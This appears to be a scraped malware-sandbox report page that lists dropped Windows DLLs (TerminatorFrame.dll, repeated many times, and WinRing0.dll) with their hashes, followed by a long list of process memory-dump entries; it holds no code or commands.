115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\TerminatorFrame.dll
Filesize
124KB

MD5
2ea1b5c1c3588590459e47f080863d0e

SHA1
115ed159f95b569a9ae66dc1ff479fedb35af945

SHA256
fc98308900c4b94273b0f61cba62985532605ccd639b1c5767d04dafad1c5602

SHA512
40f2bbf514a2e9b2c79bef2c74de546dd1c8e33a74c66c3ee71431df4e22bfba20f0781f06bb0748ea486955dddee07624c6e49b94a0d24e017a37ff80d7f925

Download Submit
\Windows\SysWOW64\WinRing0.dll
Filesize
64KB

MD5
6fc52a8c0cccd5f9b1cdb3de99cb3d3c

SHA1
f15af33a43d6af621159ec0d74a7a7b09cb28a73

SHA256
2a2a466fbe05c6293c442429bad45b223f5742eb0ae254204bdfbaeee24c84d8

SHA512
8b56ffec3d1e7455f09a09c441c002018649310d107080fb8cc3f74d67c893712e1edbc01c14f9a53d230994e499a2434d43449e888493e0daa858359ee1b2ed

Download Submit
memory/268-111-0x0000000000000000-mapping.dmp

Download
memory/280-105-0x0000000000000000-mapping.dmp

Download
memory/544-107-0x0000000000000000-mapping.dmp

Download
memory/544-127-0x0000000000000000-mapping.dmp

Download
memory/552-91-0x0000000000000000-mapping.dmp

Download
memory/628-131-0x0000000000000000-mapping.dmp

Download
memory/636-125-0x0000000000000000-mapping.dmp

Download
memory/812-138-0x0000000000000000-mapping.dmp

Download
memory/832-92-0x0000000000000000-mapping.dmp

Download
memory/848-120-0x0000000000000000-mapping.dmp

Download
memory/848-96-0x0000000000000000-mapping.dmp

Download
memory/864-66-0x0000000000000000-mapping.dmp

Download
memory/872-95-0x0000000000000000-mapping.dmp

Download
memory/984-98-0x0000000000000000-mapping.dmp

Download
memory/992-122-0x0000000000000000-mapping.dmp

Download
memory/1124-84-0x0000000000000000-mapping.dmp

Download
memory/1136-142-0x0000000000000000-mapping.dmp

Download
memory/1160-104-0x0000000000000000-mapping.dmp

Download
memory/1172-118-0x0000000000000000-mapping.dmp

Download
memory/1216-136-0x0000000000000000-mapping.dmp

Download
memory/1284-119-0x0000000000000000-mapping.dmp

Download
memory/1284-135-0x0000000000000000-mapping.dmp

Download
memory/1308-124-0x0000000000000000-mapping.dmp

Download
memory/1316-128-0x0000000000000000-mapping.dmp

Download
memory/1316-108-0x0000000000000000-mapping.dmp

Download
memory/1340-101-0x0000000000000000-mapping.dmp

Download
memory/1340-55-0x0000000000000000-mapping.dmp

Download
memory/1360-94-0x0000000000000000-mapping.dmp

Download
memory/1364-151-0x0000000000000000-mapping.dmp

Download
memory/1448-65-0x0000000000000000-mapping.dmp

Download
memory/1488-100-0x0000000000000000-mapping.dmp

Download
memory/1500-149-0x0000000000000000-mapping.dmp

Download
memory/1512-58-0x0000000000000000-mapping.dmp

Download
memory/1512-63-0x0000000004510000-0x0000000004551000-memory.dmp

Filesize
260KB

Download
memory/1512-61-0x0000000075FE1000-0x0000000075FE3000-memory.dmp

Filesize
8KB

Download
memory/1560-110-0x0000000000000000-mapping.dmp

Download
memory/1572-121-0x0000000000000000-mapping.dmp

Download
memory/1580-133-0x0000000000000000-mapping.dmp

Download
memory/1608-99-0x0000000000000000-mapping.dmp

Download
memory/1608-146-0x0000000000000000-mapping.dmp

Download
memory/1632-137-0x0000000000000000-mapping.dmp

Download
memory/1632-150-0x0000000000000000-mapping.dmp

Download
memory/1668-147-0x0000000000000000-mapping.dmp

Download
memory/1672-132-0x0000000000000000-mapping.dmp

Download
memory/1680-112-0x0000000000000000-mapping.dmp

Download
memory/1688-126-0x0000000000000000-mapping.dmp

Download
memory/1692-71-0x0000000000000000-mapping.dmp

Download
memory/1704-115-0x0000000000000000-mapping.dmp

Download
memory/1712-103-0x0000000000000000-mapping.dmp

Download
memory/1716-74-0x0000000000000000-mapping.dmp

Download
memory/1724-139-0x0000000000000000-mapping.dmp

Download
memory/1740-148-0x0000000000000000-mapping.dmp

Download
memory/1788-134-0x0000000000000000-mapping.dmp

Download
memory/1844-97-0x0000000000000000-mapping.dmp

Download
memory/1888-141-0x0000000000000000-mapping.dmp

Download
memory/1892-143-0x0000000000000000-mapping.dmp

Download
memory/1892-106-0x0000000000000000-mapping.dmp

Download
memory/1904-140-0x0000000000000000-mapping.dmp

Download
memory/1904-102-0x0000000000000000-mapping.dmp

Download
memory/1912-129-0x0000000000000000-mapping.dmp

Download
memory/1912-109-0x0000000000000000-mapping.dmp

Download
memory/1916-130-0x0000000000000000-mapping.dmp

Download
memory/1920-145-0x0000000000000000-mapping.dmp

Download
memory/1968-93-0x0000000000000000-mapping.dmp

Download
memory/1992-123-0x0000000000000000-mapping.dmp

Download
memory/2040-54-0x000007FEFC0C1000-0x000007FEFC0C3000-memory.dmp

Filesize
8KB

Download
memory/2044-144-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads